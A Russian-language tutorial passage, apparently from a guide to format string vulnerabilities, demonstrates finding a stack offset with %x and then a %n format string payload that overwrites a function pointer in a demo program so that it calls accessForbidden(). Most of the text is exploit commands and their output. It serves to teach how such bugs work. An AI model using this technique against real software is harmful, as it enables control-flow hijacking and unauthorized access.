Пример первый
Во-первых, нам надо узнать смещение между началом уязвимого буфера и нашим текущим положением в стеке:
>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654
before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"
>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654
before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"
Первый вызов здесь дает нам то, что надо: 3 слова (одно слово = 4 байтам для процессоров x86) отделяют нас от начала переменной buffer . Второй вызов с аргументом AAAA%3\$x подтверждает это.
Наша цель теперь - заменить первоначальное значение указателя ptrf (0x8048634 , адрес функции helloWorld() ) значением 0x8048654 (адрес accessForbidden() ). Нам надо записать 0x8048654 байт (134514260 байт в десятеричном, что-то около 128Мб). Не каждый компьтер может позволить такое использование памяти ... однако тот, который мы используем - может :) Это длится около 20 секунд на двухпроцессорном pentium 350 МГц:
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654
before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Фхя›000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"
Что мы сделали? Мы просто предоставили адрес ptrf (0xbffff5d4) . Следующий формат считывает слово из стека с точностью 134514256 (мы уже записали 4 байта - адрес ptrf , поэтому нам еще остается записать 134514260-4=134514256 байт). И в конце, мы записываем нужное значение по данному адресу (%3$n ).
Назад |
Содержание |
Вперед
Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
|